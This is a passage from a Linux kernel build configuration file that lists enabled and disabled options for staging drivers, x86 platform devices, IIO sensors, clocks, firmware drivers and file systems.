# Microsoft Hyper-V guest support
#
CONFIG_HYPERV=m
# CONFIG_HYPERV_UTILS is not set
CONFIG_HYPERV_BALLOON=m
CONFIG_STAGING=y
CONFIG_PRISM2_USB=m
# CONFIG_COMEDI is not set
# CONFIG_RTL8192U is not set
CONFIG_RTLLIB=m
# CONFIG_RTLLIB_CRYPTO_CCMP is not set
# CONFIG_RTLLIB_CRYPTO_TKIP is not set
CONFIG_RTLLIB_CRYPTO_WEP=m
CONFIG_RTL8192E=m
# CONFIG_R8712U is not set
CONFIG_R8188EU=m
CONFIG_88EU_AP_MODE=y
CONFIG_RTS5208=m

#
# IIO staging drivers
#

#
# Accelerometers
#
CONFIG_ADIS16201=m
CONFIG_ADIS16203=m
# CONFIG_ADIS16209 is not set
# CONFIG_ADIS16240 is not set

#
# Analog to digital converters
#
# CONFIG_AD7606 is not set
CONFIG_AD7780=m
CONFIG_AD7816=m
CONFIG_AD7192=m
CONFIG_AD7280=m

#
# Analog digital bi-direction converters
#
CONFIG_ADT7316=m
# CONFIG_ADT7316_SPI is not set
CONFIG_ADT7316_I2C=m

#
# Capacitance to digital converters
#
# CONFIG_AD7150 is not set
CONFIG_AD7152=m
CONFIG_AD7746=m

#
# Direct Digital Synthesis
#
# CONFIG_AD9832 is not set
CONFIG_AD9834=m

#
# Digital gyroscope sensors
#
CONFIG_ADIS16060=m

#
# Network Analyzer, Impedance Converters
#
CONFIG_AD5933=m

#
# Light sensors
#
CONFIG_SENSORS_ISL29028=m
CONFIG_TSL2x7x=m

#
# Active energy metering IC
#
CONFIG_ADE7753=m
CONFIG_ADE7754=m
CONFIG_ADE7758=m
CONFIG_ADE7759=m
CONFIG_ADE7854=m
CONFIG_ADE7854_I2C=m
# CONFIG_ADE7854_SPI is not set

#
# Resolver to digital converters
#
CONFIG_AD2S90=m
# CONFIG_AD2S1200 is not set
CONFIG_AD2S1210=m

#
# Triggers - standalone
#
# CONFIG_FB_SM750 is not set
# CONFIG_FB_XGI is not set

#
# Speakup console speech
#
CONFIG_SPEAKUP=y
CONFIG_SPEAKUP_SYNTH_ACNTSA=m
CONFIG_SPEAKUP_SYNTH_APOLLO=y
# CONFIG_SPEAKUP_SYNTH_AUDPTR is not set
CONFIG_SPEAKUP_SYNTH_BNS=m
CONFIG_SPEAKUP_SYNTH_DECTLK=m
CONFIG_SPEAKUP_SYNTH_DECEXT=m
# CONFIG_SPEAKUP_SYNTH_LTLK is not set
CONFIG_SPEAKUP_SYNTH_SOFT=m
# CONFIG_SPEAKUP_SYNTH_SPKOUT is not set
CONFIG_SPEAKUP_SYNTH_TXPRT=m
# CONFIG_SPEAKUP_SYNTH_DUMMY is not set
CONFIG_STAGING_MEDIA=y
# CONFIG_DVB_CXD2099 is not set

#
# Android
#
# CONFIG_STAGING_BOARD is not set
# CONFIG_LTE_GDM724X is not set
CONFIG_MTD_SPINAND_MT29F=m
# CONFIG_MTD_SPINAND_ONDIEECC is not set
CONFIG_LNET=m
CONFIG_LNET_MAX_PAYLOAD=1048576
CONFIG_LNET_SELFTEST=m
CONFIG_LUSTRE_FS=m
CONFIG_LUSTRE_OBD_MAX_IOCTL_BUFFER=8192
CONFIG_LUSTRE_DEBUG_EXPENSIVE_CHECK=y
# CONFIG_DGNC is not set
# CONFIG_GS_FPGABOOT is not set
CONFIG_COMMON_CLK_XLNX_CLKWZRD=m
CONFIG_FB_TFT=m
CONFIG_FB_TFT_AGM1264K_FL=m
CONFIG_FB_TFT_BD663474=m
CONFIG_FB_TFT_HX8340BN=m
# CONFIG_FB_TFT_HX8347D is not set
CONFIG_FB_TFT_HX8353D=m
CONFIG_FB_TFT_HX8357D=m
CONFIG_FB_TFT_ILI9163=m
CONFIG_FB_TFT_ILI9320=m
CONFIG_FB_TFT_ILI9325=m
CONFIG_FB_TFT_ILI9340=m
CONFIG_FB_TFT_ILI9341=m
CONFIG_FB_TFT_ILI9481=m
CONFIG_FB_TFT_ILI9486=m
CONFIG_FB_TFT_PCD8544=m
CONFIG_FB_TFT_RA8875=m
# CONFIG_FB_TFT_S6D02A1 is not set
CONFIG_FB_TFT_S6D1121=m
CONFIG_FB_TFT_SSD1289=m
CONFIG_FB_TFT_SSD1305=m
CONFIG_FB_TFT_SSD1306=m
CONFIG_FB_TFT_SSD1325=m
CONFIG_FB_TFT_SSD1331=m
# CONFIG_FB_TFT_SSD1351 is not set
# CONFIG_FB_TFT_ST7735R is not set
CONFIG_FB_TFT_ST7789V=m
CONFIG_FB_TFT_TINYLCD=m
# CONFIG_FB_TFT_TLS8204 is not set
# CONFIG_FB_TFT_UC1611 is not set
# CONFIG_FB_TFT_UC1701 is not set
# CONFIG_FB_TFT_UPD161704 is not set
CONFIG_FB_TFT_WATTEROTT=m
# CONFIG_FB_FLEX is not set
CONFIG_FB_TFT_FBTFT_DEVICE=m
CONFIG_WILC1000=m
# CONFIG_WILC1000_SDIO is not set
CONFIG_WILC1000_SPI=m
# CONFIG_MOST is not set

#
# Old ISDN4Linux (deprecated)
#
CONFIG_KS7010=y
# CONFIG_GREYBUS is not set
CONFIG_X86_PLATFORM_DEVICES=y
# CONFIG_ACER_WMI is not set
CONFIG_ACERHDF=y
CONFIG_ALIENWARE_WMI=m
# CONFIG_ASUS_LAPTOP is not set
CONFIG_DELL_SMBIOS=m
# CONFIG_DELL_LAPTOP is not set
CONFIG_DELL_WMI=m
# CONFIG_DELL_WMI_AIO is not set
CONFIG_DELL_SMO8800=y
# CONFIG_DELL_RBTN is not set
# CONFIG_FUJITSU_LAPTOP is not set
# CONFIG_FUJITSU_TABLET is not set
# CONFIG_AMILO_RFKILL is not set
# CONFIG_TC1100_WMI is not set
# CONFIG_HP_ACCEL is not set
CONFIG_HP_WIRELESS=y
CONFIG_HP_WMI=m
# CONFIG_MSI_LAPTOP is not set
CONFIG_PANASONIC_LAPTOP=m
# CONFIG_COMPAL_LAPTOP is not set
CONFIG_SONY_LAPTOP=m
CONFIG_SONYPI_COMPAT=y
# CONFIG_IDEAPAD_LAPTOP is not set
CONFIG_SURFACE3_WMI=m
CONFIG_THINKPAD_ACPI=m
# CONFIG_THINKPAD_ACPI_ALSA_SUPPORT is not set
# CONFIG_THINKPAD_ACPI_DEBUGFACILITIES is not set
# CONFIG_THINKPAD_ACPI_DEBUG is not set
CONFIG_THINKPAD_ACPI_UNSAFE_LEDS=y
# CONFIG_THINKPAD_ACPI_VIDEO is not set
# CONFIG_THINKPAD_ACPI_HOTKEY_POLL is not set
CONFIG_SENSORS_HDAPS=y
CONFIG_INTEL_MENLOW=m
# CONFIG_EEEPC_LAPTOP is not set
CONFIG_ASUS_WMI=m
# CONFIG_ASUS_NB_WMI is not set
# CONFIG_EEEPC_WMI is not set
CONFIG_ASUS_WIRELESS=y
CONFIG_ACPI_WMI=m
CONFIG_MSI_WMI=m
CONFIG_TOPSTAR_LAPTOP=m
# CONFIG_ACPI_TOSHIBA is not set
CONFIG_TOSHIBA_BT_RFKILL=m
CONFIG_TOSHIBA_HAPS=y
CONFIG_TOSHIBA_WMI=m
CONFIG_ACPI_CMPC=m
CONFIG_INTEL_HID_EVENT=m
CONFIG_INTEL_VBTN=m
CONFIG_INTEL_IPS=m
# CONFIG_INTEL_PMC_CORE is not set
# CONFIG_IBM_RTL is not set
CONFIG_SAMSUNG_LAPTOP=m
CONFIG_MXM_WMI=m
CONFIG_INTEL_OAKTRAIL=m
# CONFIG_SAMSUNG_Q10 is not set
# CONFIG_APPLE_GMUX is not set
CONFIG_INTEL_RST=m
CONFIG_INTEL_SMARTCONNECT=m
# CONFIG_PVPANIC is not set
CONFIG_INTEL_PMC_IPC=m
CONFIG_SURFACE_PRO3_BUTTON=y
CONFIG_INTEL_PUNIT_IPC=y
# CONFIG_MLX_CPLD_PLATFORM is not set
CONFIG_CHROME_PLATFORMS=y
CONFIG_CHROMEOS_LAPTOP=y
CONFIG_CHROMEOS_PSTORE=y
# CONFIG_CROS_EC_CHARDEV is not set
CONFIG_CROS_EC_LPC=m
CONFIG_CROS_EC_PROTO=y
CONFIG_CROS_KBD_LED_BACKLIGHT=m
CONFIG_CLKDEV_LOOKUP=y
CONFIG_HAVE_CLK_PREPARE=y
CONFIG_COMMON_CLK=y

#
# Common Clock Framework
#
CONFIG_COMMON_CLK_MAX77686=y
CONFIG_COMMON_CLK_SI5351=y
CONFIG_COMMON_CLK_SI514=m
# CONFIG_COMMON_CLK_SI570 is not set
# CONFIG_COMMON_CLK_CDCE706 is not set
# CONFIG_COMMON_CLK_CDCE925 is not set
CONFIG_COMMON_CLK_CS2000_CP=y
CONFIG_CLK_TWL6040=m
# CONFIG_COMMON_CLK_NXP is not set
# CONFIG_COMMON_CLK_PALMAS is not set
CONFIG_COMMON_CLK_PWM=m
# CONFIG_COMMON_CLK_PXA is not set
# CONFIG_COMMON_CLK_PIC32 is not set
# CONFIG_COMMON_CLK_MT2701 is not set
# CONFIG_COMMON_CLK_MT2701_MMSYS is not set
# CONFIG_COMMON_CLK_MT2701_IMGSYS is not set
# CONFIG_COMMON_CLK_MT2701_VDECSYS is not set
# CONFIG_COMMON_CLK_MT2701_HIFSYS is not set
# CONFIG_COMMON_CLK_MT2701_ETHSYS is not set
# CONFIG_COMMON_CLK_MT2701_BDPSYS is not set

#
# Hardware Spinlock drivers
#

#
# Clock Source drivers
#
CONFIG_CLKSRC_I8253=y
CONFIG_CLKEVT_I8253=y
CONFIG_I8253_LOCK=y
CONFIG_CLKBLD_I8253=y
# CONFIG_ATMEL_PIT is not set
# CONFIG_SH_TIMER_CMT is not set
# CONFIG_SH_TIMER_MTU2 is not set
# CONFIG_SH_TIMER_TMU is not set
# CONFIG_EM_TIMER_STI is not set
CONFIG_MAILBOX=y
# CONFIG_PLATFORM_MHU is not set
# CONFIG_PCC is not set
# CONFIG_ALTERA_MBOX is not set
CONFIG_MAILBOX_TEST=m
CONFIG_IOMMU_SUPPORT=y

#
# Generic IOMMU Pagetable Support
#
# CONFIG_INTEL_IOMMU is not set

#
# Remoteproc drivers
#
# CONFIG_REMOTEPROC is not set

#
# Rpmsg drivers
#

#
# SOC (System On Chip) specific Drivers
#

#
# Broadcom SoC drivers
#
# CONFIG_SUNXI_SRAM is not set
CONFIG_SOC_TI=y
CONFIG_PM_DEVFREQ=y

#
# DEVFREQ Governors
#
CONFIG_DEVFREQ_GOV_SIMPLE_ONDEMAND=y
CONFIG_DEVFREQ_GOV_PERFORMANCE=m
# CONFIG_DEVFREQ_GOV_POWERSAVE is not set
CONFIG_DEVFREQ_GOV_USERSPACE=m
CONFIG_DEVFREQ_GOV_PASSIVE=y

#
# DEVFREQ Drivers
#
CONFIG_PM_DEVFREQ_EVENT=y
CONFIG_EXTCON=m

#
# Extcon Device Drivers
#
CONFIG_EXTCON_ADC_JACK=m
CONFIG_EXTCON_AXP288=m
CONFIG_EXTCON_GPIO=m
# CONFIG_EXTCON_MAX14577 is not set
CONFIG_EXTCON_MAX3355=m
# CONFIG_EXTCON_MAX8997 is not set
# CONFIG_EXTCON_PALMAS is not set
CONFIG_EXTCON_QCOM_SPMI_MISC=m
# CONFIG_EXTCON_RT8973A is not set
# CONFIG_EXTCON_SM5502 is not set
# CONFIG_EXTCON_USB_GPIO is not set
CONFIG_MEMORY=y
CONFIG_IIO=m
CONFIG_IIO_BUFFER=y
CONFIG_IIO_BUFFER_CB=m
CONFIG_IIO_KFIFO_BUF=m
CONFIG_IIO_TRIGGERED_BUFFER=m
CONFIG_IIO_CONFIGFS=m
CONFIG_IIO_TRIGGER=y
CONFIG_IIO_CONSUMERS_PER_TRIGGER=2
CONFIG_IIO_SW_DEVICE=m
# CONFIG_IIO_SW_TRIGGER is not set
CONFIG_IIO_TRIGGERED_EVENT=m

#
# Accelerometers
#
# CONFIG_BMA180 is not set
# CONFIG_BMA220 is not set
# CONFIG_BMC150_ACCEL is not set
CONFIG_DA280=m
# CONFIG_DA311 is not set
CONFIG_DMARD06=m
# CONFIG_DMARD09 is not set
CONFIG_DMARD10=m
CONFIG_HID_SENSOR_ACCEL_3D=m
CONFIG_IIO_ST_ACCEL_3AXIS=m
CONFIG_IIO_ST_ACCEL_I2C_3AXIS=m
CONFIG_IIO_ST_ACCEL_SPI_3AXIS=m
CONFIG_KXSD9=m
CONFIG_KXSD9_SPI=m
CONFIG_KXSD9_I2C=m
CONFIG_KXCJK1013=m
CONFIG_MC3230=m
CONFIG_MMA7455=m
CONFIG_MMA7455_I2C=m
CONFIG_MMA7455_SPI=m
CONFIG_MMA7660=m
CONFIG_MMA8452=m
CONFIG_MMA9551_CORE=m
# CONFIG_MMA9551 is not set
CONFIG_MMA9553=m
CONFIG_MXC4005=m
CONFIG_MXC6255=m
# CONFIG_SCA3000 is not set
CONFIG_STK8312=m
CONFIG_STK8BA50=m

#
# Analog to digital converters
#
CONFIG_AD_SIGMA_DELTA=m
CONFIG_AD7266=m
CONFIG_AD7291=m
CONFIG_AD7298=m
CONFIG_AD7476=m
CONFIG_AD7766=m
CONFIG_AD7791=m
# CONFIG_AD7793 is not set
CONFIG_AD7887=m
CONFIG_AD7923=m
# CONFIG_AD799X is not set
CONFIG_AXP288_ADC=m
# CONFIG_CC10001_ADC is not set
# CONFIG_DA9150_GPADC is not set
CONFIG_ENVELOPE_DETECTOR=m
CONFIG_HI8435=m
CONFIG_LTC2485=m
CONFIG_MAX1027=m
CONFIG_MAX1363=m
CONFIG_MCP320X=m
CONFIG_MCP3422=m
# CONFIG_MEN_Z188_ADC is not set
CONFIG_NAU7802=m
CONFIG_PALMAS_GPADC=m
CONFIG_QCOM_SPMI_IADC=m
CONFIG_QCOM_SPMI_VADC=m
CONFIG_TI_ADC081C=m
CONFIG_TI_ADC0832=m
CONFIG_TI_ADC12138=m
CONFIG_TI_ADC128S052=m
# CONFIG_TI_ADC161S626 is not set
CONFIG_TI_ADS1015=m
CONFIG_TI_ADS8688=m
# CONFIG_VF610_ADC is not set
CONFIG_VIPERBOARD_ADC=m

#
# Amplifiers
#
CONFIG_AD8366=m

#
# Chemical Sensors
#
CONFIG_ATLAS_PH_SENSOR=m
# CONFIG_IAQCORE is not set
CONFIG_VZ89X=m
# CONFIG_IIO_CROS_EC_SENSORS_CORE is not set

#
# Hid Sensor IIO Common
#
CONFIG_HID_SENSOR_IIO_COMMON=m
CONFIG_HID_SENSOR_IIO_TRIGGER=m
CONFIG_IIO_MS_SENSORS_I2C=m

#
# SSP Sensor Common
#
# CONFIG_IIO_SSP_SENSORHUB is not set
CONFIG_IIO_ST_SENSORS_I2C=m
CONFIG_IIO_ST_SENSORS_SPI=m
CONFIG_IIO_ST_SENSORS_CORE=m

#
# Counters
#

#
# Digital to analog converters
#
CONFIG_AD5064=m
CONFIG_AD5360=m
CONFIG_AD5380=m
CONFIG_AD5421=m
CONFIG_AD5446=m
CONFIG_AD5449=m
CONFIG_AD5592R_BASE=m
# CONFIG_AD5592R is not set
CONFIG_AD5593R=m
CONFIG_AD5504=m
CONFIG_AD5624R_SPI=m
CONFIG_AD5686=m
CONFIG_AD5755=m
# CONFIG_AD5761 is not set
# CONFIG_AD5764 is not set
CONFIG_AD5791=m
CONFIG_AD7303=m
CONFIG_AD8801=m
CONFIG_DPOT_DAC=m
CONFIG_M62332=m
CONFIG_MAX517=m
# CONFIG_MAX5821 is not set
CONFIG_MCP4725=m
# CONFIG_MCP4922 is not set
CONFIG_VF610_DAC=m

#
# IIO dummy driver
#
# CONFIG_IIO_SIMPLE_DUMMY is not set

#
# Frequency Synthesizers DDS/PLL
#

#
# Clock Generator/Distribution
#
# CONFIG_AD9523 is not set

#
# Phase-Locked Loop (PLL) frequency synthesizers
#
CONFIG_ADF4350=m

#
# Digital gyroscope sensors
#
CONFIG_ADIS16080=m
CONFIG_ADIS16130=m
CONFIG_ADIS16136=m
# CONFIG_ADIS16260 is not set
# CONFIG_ADXRS450 is not set
CONFIG_BMG160=m
CONFIG_BMG160_I2C=m
CONFIG_BMG160_SPI=m
# CONFIG_HID_SENSOR_GYRO_3D is not set
CONFIG_MPU3050=m
CONFIG_MPU3050_I2C=m
# CONFIG_IIO_ST_GYRO_3AXIS is not set
# CONFIG_ITG3200 is not set

#
# Health Sensors
#

#
# Heart Rate Monitors
#
# CONFIG_AFE4403 is not set
# CONFIG_AFE4404 is not set
CONFIG_MAX30100=m

#
# Humidity sensors
#
CONFIG_AM2315=m
CONFIG_DHT11=m
CONFIG_HDC100X=m
# CONFIG_HTS221 is not set
# CONFIG_HTU21 is not set
CONFIG_SI7005=m
CONFIG_SI7020=m

#
# Inertial measurement units
#
# CONFIG_ADIS16400 is not set
# CONFIG_ADIS16480 is not set
CONFIG_BMI160=m
# CONFIG_BMI160_I2C is not set
CONFIG_BMI160_SPI=m
CONFIG_KMX61=m
CONFIG_INV_MPU6050_IIO=m
# CONFIG_INV_MPU6050_I2C is not set
CONFIG_INV_MPU6050_SPI=m
CONFIG_IIO_ADIS_LIB=m
CONFIG_IIO_ADIS_LIB_BUFFER=y

#
# Light sensors
#
CONFIG_ACPI_ALS=m
CONFIG_ADJD_S311=m
# CONFIG_AL3320A is not set
CONFIG_APDS9300=m
CONFIG_APDS9960=m
CONFIG_BH1750=m
CONFIG_BH1780=m
# CONFIG_CM32181 is not set
CONFIG_CM3232=m
CONFIG_CM3323=m
CONFIG_CM36651=m
# CONFIG_GP2AP020A00F is not set
# CONFIG_SENSORS_ISL29018 is not set
CONFIG_ISL29125=m
# CONFIG_HID_SENSOR_ALS is not set
CONFIG_HID_SENSOR_PROX=m
CONFIG_JSA1212=m
CONFIG_RPR0521=m
CONFIG_SENSORS_LM3533=m
# CONFIG_LTR501 is not set
CONFIG_MAX44000=m
CONFIG_OPT3001=m
CONFIG_PA12203001=m
CONFIG_SI1145=m
CONFIG_STK3310=m
# CONFIG_TCS3414 is not set
CONFIG_TCS3472=m
# CONFIG_SENSORS_TSL2563 is not set
CONFIG_TSL2583=m
# CONFIG_TSL4531 is not set
CONFIG_US5182D=m
# CONFIG_VCNL4000 is not set
CONFIG_VEML6070=m

#
# Magnetometer sensors
#
CONFIG_AK8974=m
CONFIG_AK8975=m
CONFIG_AK09911=m
CONFIG_BMC150_MAGN=m
CONFIG_BMC150_MAGN_I2C=m
CONFIG_BMC150_MAGN_SPI=m
CONFIG_MAG3110=m
CONFIG_HID_SENSOR_MAGNETOMETER_3D=m
# CONFIG_MMC35240 is not set
CONFIG_IIO_ST_MAGN_3AXIS=m
CONFIG_IIO_ST_MAGN_I2C_3AXIS=m
CONFIG_IIO_ST_MAGN_SPI_3AXIS=m
CONFIG_SENSORS_HMC5843=m
CONFIG_SENSORS_HMC5843_I2C=m
CONFIG_SENSORS_HMC5843_SPI=m

#
# Inclinometer sensors
#
CONFIG_HID_SENSOR_INCLINOMETER_3D=m
# CONFIG_HID_SENSOR_DEVICE_ROTATION is not set

#
# Triggers - standalone
#
CONFIG_IIO_INTERRUPT_TRIGGER=m
# CONFIG_IIO_SYSFS_TRIGGER is not set

#
# Digital potentiometers
#
CONFIG_DS1803=m
CONFIG_MAX5487=m
# CONFIG_MCP4131 is not set
CONFIG_MCP4531=m
CONFIG_TPL0102=m

#
# Digital potentiostats
#
CONFIG_LMP91000=m

#
# Pressure sensors
#
# CONFIG_ABP060MG is not set
CONFIG_BMP280=m
CONFIG_BMP280_I2C=m
CONFIG_BMP280_SPI=m
CONFIG_HID_SENSOR_PRESS=m
CONFIG_HP03=m
CONFIG_MPL115=m
# CONFIG_MPL115_I2C is not set
CONFIG_MPL115_SPI=m
CONFIG_MPL3115=m
CONFIG_MS5611=m
CONFIG_MS5611_I2C=m
# CONFIG_MS5611_SPI is not set
CONFIG_MS5637=m
CONFIG_IIO_ST_PRESS=m
CONFIG_IIO_ST_PRESS_I2C=m
CONFIG_IIO_ST_PRESS_SPI=m
CONFIG_T5403=m
CONFIG_HP206C=m
# CONFIG_ZPA2326 is not set

#
# Lightning sensors
#
CONFIG_AS3935=m

#
# Proximity sensors
#
# CONFIG_LIDAR_LITE_V2 is not set
CONFIG_SX9500=m

#
# Temperature sensors
#
CONFIG_MAXIM_THERMOCOUPLE=m
# CONFIG_MLX90614 is not set
CONFIG_TMP006=m
CONFIG_TSYS01=m
CONFIG_TSYS02D=m
CONFIG_NTB=y
CONFIG_NTB_PINGPONG=m
CONFIG_NTB_TOOL=y
CONFIG_NTB_PERF=y
# CONFIG_NTB_TRANSPORT is not set
CONFIG_VME_BUS=y

#
# VME Bridge Drivers
#
CONFIG_VME_CA91CX42=m
CONFIG_VME_TSI148=m
CONFIG_VME_FAKE=m

#
# VME Board Drivers
#
CONFIG_VMIVME_7805=m

#
# VME Device Drivers
#
# CONFIG_VME_USER is not set
CONFIG_VME_PIO2=y
CONFIG_PWM=y
CONFIG_PWM_SYSFS=y
# CONFIG_PWM_ATMEL_HLCDC_PWM is not set
CONFIG_PWM_CROS_EC=m
# CONFIG_PWM_FSL_FTM is not set
CONFIG_PWM_LP3943=m
CONFIG_PWM_LPSS=m
# CONFIG_PWM_LPSS_PCI is not set
CONFIG_PWM_LPSS_PLATFORM=m
# CONFIG_PWM_PCA9685 is not set
CONFIG_PWM_STMPE=y
CONFIG_IRQCHIP=y
CONFIG_ARM_GIC_MAX_NR=1
CONFIG_IPACK_BUS=m
CONFIG_BOARD_TPCI200=m
CONFIG_SERIAL_IPOCTAL=m
CONFIG_RESET_CONTROLLER=y
# CONFIG_RESET_ATH79 is not set
# CONFIG_RESET_BERLIN is not set
# CONFIG_RESET_LPC18XX is not set
# CONFIG_RESET_MESON is not set
# CONFIG_RESET_PISTACHIO is not set
# CONFIG_RESET_SOCFPGA is not set
# CONFIG_RESET_STM32 is not set
# CONFIG_RESET_SUNXI is not set
CONFIG_TI_SYSCON_RESET=m
# CONFIG_RESET_ZYNQ is not set
# CONFIG_RESET_TEGRA_BPMP is not set
# CONFIG_FMC is not set

#
# PHY Subsystem
#
CONFIG_GENERIC_PHY=y
# CONFIG_PHY_PXA_28NM_HSIC is not set
CONFIG_PHY_PXA_28NM_USB2=m
# CONFIG_BCM_KONA_USB2_PHY is not set
# CONFIG_PHY_SAMSUNG_USB2 is not set
# CONFIG_POWERCAP is not set
CONFIG_MCB=m
CONFIG_MCB_PCI=m
# CONFIG_MCB_LPC is not set

#
# Performance monitor support
#
CONFIG_RAS=y
CONFIG_THUNDERBOLT=m

#
# Android
#
# CONFIG_ANDROID is not set
# CONFIG_LIBNVDIMM is not set
CONFIG_NVMEM=y
CONFIG_STM=y
# CONFIG_STM_DUMMY is not set
# CONFIG_STM_SOURCE_CONSOLE is not set
CONFIG_STM_SOURCE_HEARTBEAT=m
# CONFIG_STM_SOURCE_FTRACE is not set
CONFIG_INTEL_TH=m
# CONFIG_INTEL_TH_PCI is not set
# CONFIG_INTEL_TH_GTH is not set
CONFIG_INTEL_TH_STH=m
CONFIG_INTEL_TH_MSU=m
CONFIG_INTEL_TH_PTI=m
CONFIG_INTEL_TH_DEBUG=y

#
# FPGA Configuration Support
#
# CONFIG_FPGA is not set

#
# Firmware Drivers
#
# CONFIG_ARM_SCPI_PROTOCOL is not set
CONFIG_EDD=m
CONFIG_EDD_OFF=y
CONFIG_FIRMWARE_MEMMAP=y
# CONFIG_DELL_RBU is not set
CONFIG_DCDBAS=m
# CONFIG_DMIID is not set
CONFIG_DMI_SYSFS=m
CONFIG_DMI_SCAN_MACHINE_NON_EFI_FALLBACK=y
CONFIG_ISCSI_IBFT_FIND=y
# CONFIG_FW_CFG_SYSFS is not set
CONFIG_GOOGLE_FIRMWARE=y

#
# Google Firmware Drivers
#
CONFIG_GOOGLE_MEMCONSOLE=y
# CONFIG_EFI_DEV_PATH_PARSER is not set

#
# Tegra firmware driver
#

#
# File systems
#
CONFIG_DCACHE_WORD_ACCESS=y
CONFIG_FS_IOMAP=y
CONFIG_EXT2_FS=y
CONFIG_EXT2_FS_XATTR=y
# CONFIG_EXT2_FS_POSIX_ACL is not set
# CONFIG_EXT2_FS_SECURITY is not set
CONFIG_EXT3_FS=y
# CONFIG_EXT3_FS_POSIX_ACL is not set
# CONFIG_EXT3_FS_SECURITY is not set
CONFIG_EXT4_FS=y
# CONFIG_EXT4_FS_POSIX_ACL is not set
CONFIG_EXT4_FS_SECURITY=y
# CONFIG_EXT4_ENCRYPTION is not set
CONFIG_EXT4_DEBUG=y
CONFIG_JBD2=y
# CONFIG_JBD2_DEBUG is not set
CONFIG_FS_MBCACHE=y
CONFIG_REISERFS_FS=y
# CONFIG_REISERFS_CHECK is not set
CONFIG_REISERFS_PROC_INFO=y
CONFIG_REISERFS_FS_XATTR=y
# CONFIG_REISERFS_FS_POSIX_ACL is not set
CONFIG_REISERFS_FS_SECURITY=y
CONFIG_JFS_FS=y
# CONFIG_JFS_POSIX_ACL is not set
CONFIG_JFS_SECURITY=y
CONFIG_JFS_DEBUG=y
# CONFIG_JFS_STATISTICS is not set
CONFIG_XFS_FS=m
# CONFIG_XFS_QUOTA is not set
CONFIG_XFS_POSIX_ACL=y
# CONFIG_XFS_RT is not set
CONFIG_XFS_DEBUG=y
CONFIG_GFS2_FS=y
CONFIG_OCFS2_FS=m
CONFIG_OCFS2_FS_O2CB=m
# CONFIG_OCFS2_FS_STATS is not set
CONFIG_OCFS2_DEBUG_MASKLOG=y
# CONFIG_OCFS2_DEBUG_FS is not set
CONFIG_BTRFS_FS=y
# CONFIG_BTRFS_FS_POSIX_ACL is not set
# CONFIG_BTRFS_FS_CHECK_INTEGRITY is not set
# CONFIG_BTRFS_FS_RUN_SANITY_TESTS is not set
# CONFIG_BTRFS_DEBUG is not set
# CONFIG_BTRFS_ASSERT is not set
# CONFIG_NILFS2_FS is not set
CONFIG_F2FS_FS=y
CONFIG_F2FS_STAT_FS=y
CONFIG_F2FS_FS_XATTR=y
# CONFIG_F2FS_FS_POSIX_ACL is not set
# CONFIG_F2FS_FS_SECURITY is not set
# CONFIG_F2FS_CHECK_FS is not set
# CONFIG_F2FS_FS_ENCRYPTION is not set
CONFIG_F2FS_IO_TRACE=y
CONFIG_F2FS_FAULT_INJECTION=y
# CONFIG_FS_DAX is not set
CONFIG_FS_POSIX_ACL=y
CONFIG_EXPORTFS=y
CONFIG_EXPORTFS_BLOCK_OPS=y
CONFIG_FILE_LOCKING=y
# CONFIG_MANDATORY_FILE_LOCKING is not set
# CONFIG_FS_ENCRYPTION is not set
CONFIG_FSNOTIFY=y
CONFIG_DNOTIFY=y
CONFIG_INOTIFY_USER=y
# CONFIG_FANOTIFY is not set
CONFIG_QUOTA=y
CONFIG_QUOTA_NETLINK_INTERFACE=y
# CONFIG_PRINT_QUOTA_WARNING is not set
CONFIG_QUOTA_DEBUG=y
CONFIG_QUOTA_TREE=m
# CONFIG_QFMT_V1 is not set
# CONFIG_QFMT_V2 is not set
CONFIG_QUOTACTL=y
CONFIG_AUTOFS4_FS=m
CONFIG_FUSE_FS=y
CONFIG_CUSE=m
CONFIG_OVERLAY_FS=y
CONFIG_OVERLAY_FS_REDIRECT_DIR=y

#
# Caches
#
CONFIG_FSCACHE=m
CONFIG_FSCACHE_STATS=y
CONFIG_FSCACHE_HISTOGRAM=y
CONFIG_FSCACHE_DEBUG=y
# CONFIG_FSCACHE_OBJECT_LIST is not set
CONFIG_CACHEFILES=m
# CONFIG_CACHEFILES_DEBUG is not set
CONFIG_CACHEFILES_HISTOGRAM=y

#
# CD-ROM/DVD Filesystems
#
CONFIG_ISO9660_FS=m
CONFIG_JOLIET=y
CONFIG_ZISOFS=y
CONFIG_UDF_FS=m
CONFIG_UDF_NLS=y

#
# DOS/FAT/NT Filesystems
#
CONFIG_FAT_FS=y
# CONFIG_MSDOS_FS is not set
CONFIG_VFAT_FS=y
CONFIG_FAT_DEFAULT_CODEPAGE=437
CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1"
CONFIG_FAT_DEFAULT_UTF8=y
CONFIG_NTFS_FS=m
CONFIG_NTFS_DEBUG=y
# CONFIG_NTFS_RW is not set

#
# Pseudo filesystems
#
CONFIG_PROC_FS=y
CONFIG_PROC_KCORE=y
CONFIG_PROC_SYSCTL=y
CONFIG_PROC_PAGE_MONITOR=y
CONFIG_PROC_CHILDREN=y
CONFIG_KERNFS=y
CONFIG_SYSFS=y
CONFIG_TMPFS=y
CONFIG_TMPFS_POSIX_ACL=y
CONFIG_TMPFS_XATTR=y
# CONFIG_HUGETLBFS is not set
# CONFIG_HUGETLB_PAGE is not set
CONFIG_CONFIGFS_FS=y
CONFIG_MISC_FILESYSTEMS=y
CONFIG_ORANGEFS_FS=m
CONFIG_ADFS_FS=y
CONFIG_ADFS_FS_RW=y
# CONFIG_AFFS_FS is not set
CONFIG_ECRYPT_FS=m
# CONFIG_ECRYPT_FS_MESSAGING is not set
CONFIG_HFS_FS=m
# CONFIG_HFSPLUS_FS is not set
CONFIG_BEFS_FS=m
# CONFIG_BEFS_DEBUG is not set
CONFIG_BFS_FS=m
CONFIG_EFS_FS=m
CONFIG_JFFS2_FS=m
CONFIG_JFFS2_FS_DEBUG=0
# CONFIG_JFFS2_FS_WRITEBUFFER is not set
# CONFIG_JFFS2_SUMMARY is not set
CONFIG_JFFS2_FS_XATTR=y
# CONFIG_JFFS2_FS_POSIX_ACL is not set
CONFIG_JFFS2_FS_SECURITY=y
CONFIG_JFFS2_COMPRESSION_OPTIONS=y
# CONFIG_JFFS2_ZLIB is not set
CONFIG_JFFS2_LZO=y
CONFIG_JFFS2_RTIME=y
CONFIG_JFFS2_RUBIN=y
# CONFIG_JFFS2_CMODE_NONE is not set
# CONFIG_JFFS2_CMODE_PRIORITY is not set
CONFIG_JFFS2_CMODE_SIZE=y
# CONFIG_JFFS2_CMODE_FAVOURLZO is not set
CONFIG_UBIFS_FS=m
